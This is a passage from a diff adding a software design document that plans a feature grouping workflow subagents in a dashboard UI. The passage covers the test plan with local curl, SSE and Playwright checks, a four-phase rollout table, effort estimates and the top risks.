+- **Frontend (vm-sandbox, like `test/run-mode-ui.test.ts`):** dispatch `subagent:discovered` with `workflowRunId` + `workflow:run_discovered` → assert `renderSubagentPanel` produces a group section under the workflow name with the agent inside it (label sourced from the **join**, not flat); assert order-independence (agent before run, and run before agent both resolve); assert OFF hides the section.
+- **REQUIRED real end-to-end** (the always-end-to-end-test rule — the plan-usage chip shipped *dead* from a gate mismatch): on dev/beta with `showUltracodeAgents` ON, **drive a real ultracode/workflow run**, then (1) `curl …/api/workflows | jq` shows the live run with `agents[]`; (2) `curl …/api/subagents | jq '.data[]|select(.isWorkflowAgent)'` shows tagged agents; (3) watch `/api/events` for `workflow:run_discovered` + `subagent:discovered` with the workflow fields; (4) Playwright (`waitUntil:'domcontentloaded'`, wait 3–4s) asserts the grouped DOM cluster renders with the workflow-name header and live status. Verify path gates against `GET /api/sessions` `workingDir`. **Test against a LIVE run** — all at-rest runs are `completed`/`done`; `running`/`queued` states only exist mid-run.
+
+## 9. Phased rollout
+
+| Phase | Scope | Done-check | Size |
+|---|---|---|---|
+| **P1 — Backend discovery + tagging (gated, no UI)** | §3a (nested descent, `journal.jsonl` skip, 2 `SubagentInfo` fields, `isInternalAgent` bypass ×2) + §3f schema key + §3e gate read. No run watcher yet. | With `showUltracodeAgents` forced on, `curl /api/subagents \| jq '.data[]\|select(.isWorkflowAgent)'` lists real workflow agents during a live run; flat subagents unchanged; `tsc --noEmit` + targeted watcher test green. | S–M |
+| **P2 — Run-state metadata + SSE** | §3b (`workflow-run-watcher.ts`) + §3c types + §3d/§3e (SSE, bridge, `getLightState` replay) + §3g routes. | `curl /api/workflows \| jq` returns runs with `agents[]`/`phases`; SSE emits `workflow:run_discovered`; reconnect snapshot carries `workflowRuns`. | M |
+| **P3 — Frontend grouped UI** | §4a–§4d (constants, app.js state/dispatch/init, panels-ui grouped render + **agent→label join**, subagent-windows group sub-header). Reuse `.subagent-window`; no auto-open. | Playwright: live run renders a group section under the workflow name with per-agent rows + live status + joined labels; flat subagents stay flat; expand opens a window with the workflow sub-header. | M |
+| **P4 — Settings toggle + polish + docs** | §4e (checkbox, settings-ui load/save/live-apply, SYNCED), styles/mobile, phase chips, CLAUDE.md "Key Patterns" entry + this doc's status → SHIPPED. | Toggling the checkbox shows/hides the cluster live (no reload for display); OFF by default on a fresh install; CI green. | S |
+
+Each phase is independently shippable: P1 is invisible (gated, no UI), P2 adds an API with no UI dependency, P3 lights up the UI for flag-enablers, P4 exposes the toggle and finalizes defaults/docs.
+
+## 10. Effort & risk
+
+**Size:** P1 = S–M, P2 = M, P3 = M, P4 = S. Total ≈ **M** (one focused engineer, ~2–4 days incl. the real end-to-end run — down from the first draft's M-L now that the backend join/coupling is gone).
+
+**Top 3 risks:**
+
+1. **Non-recursive watch on Linux misses live writes.** `fs.watch` is non-recursive and `{recursive:true}` is unreliable on Linux → per-`wf_<runId>` watchers (§3a-4) are correct, but the 5s full scan must re-`readdir(wfRoot)` to catch *new* run dirs mid-session, and each watcher must be torn down to avoid FSWatcher leaks in 24h runs. Mitigation: explicit per-run-dir registration + verified `dirWatchers` teardown; chokidar (with `CleanupManager`) only in the new run watcher, where `team-watcher` already proves the pattern.
+2. **Discovery cost / over-registration.** A user with hundreds of historical workflow agents could flood `agentInfo` on boot. Mitigation: the 4h `STARTUP_MAX_FILE_AGE_MS` skip drops old files on the initial scan, the descent only runs when the toggle is on, and `MAX_TRACKED_AGENTS=500` LRU-evicts. Verify boot scan time doesn't regress with the corpus present.
+3. **Shipping-dead-on-a-gate** (the repo's recurring failure mode — the plan-usage chip shipped dead because injection was gated on `CASES_DIR` while real sessions ran elsewhere). Same trap here if the path/mode gate is wrong (e.g. `projects/*/workflows` instead of `projects/*/*/workflows`, or correlation via the wrong session key). Mitigation: the **mandatory live ultracode end-to-end run** in §8 against a real session's `workingDir`, observing the real SSE event + real DOM cluster — not the at-rest corpus, not unit tests alone.
